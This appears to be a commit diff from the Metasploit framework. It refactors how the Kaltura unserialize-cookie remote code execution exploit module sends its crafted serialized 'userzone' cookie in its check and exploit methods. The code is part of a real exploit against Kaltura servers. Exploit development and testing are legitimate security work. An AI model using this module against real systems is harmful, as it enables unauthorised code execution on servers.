Refactor send_request_cgi request

Author: rverton

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

@@ -79,17 +79,15 @@ def check
         'list_type' => '15',
         'entry_id' => entry_id
       },
-      'headers' => {
-        'Cookie' => "userzone=#{encoded}#{hash}"
-      }
+      'cookie' => "userzone=#{encoded}#{hash}"
     )
 
     if res and res.redirect?
       print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
       Exploit::CheckCode::Safe
     elsif res && res.body.include?(r)
       Exploit::CheckCode::Vulnerable
-    elsif not self.check_entryid()
+    elsif not check_entryid
       print_error("Invalid ENTRYID")
       Exploit::CheckCode::Safe
     else
@@ -135,9 +133,7 @@ def exploit
         'list_type' => '15',
         'entry_id' => entry_id
       },
-      'headers' => {
-        'Cookie' => "userzone=#{encoded}#{hash}"
-      }
+      'cookie' => "userzone=#{encoded}#{hash}"
     )
 
     if res and res.redirect?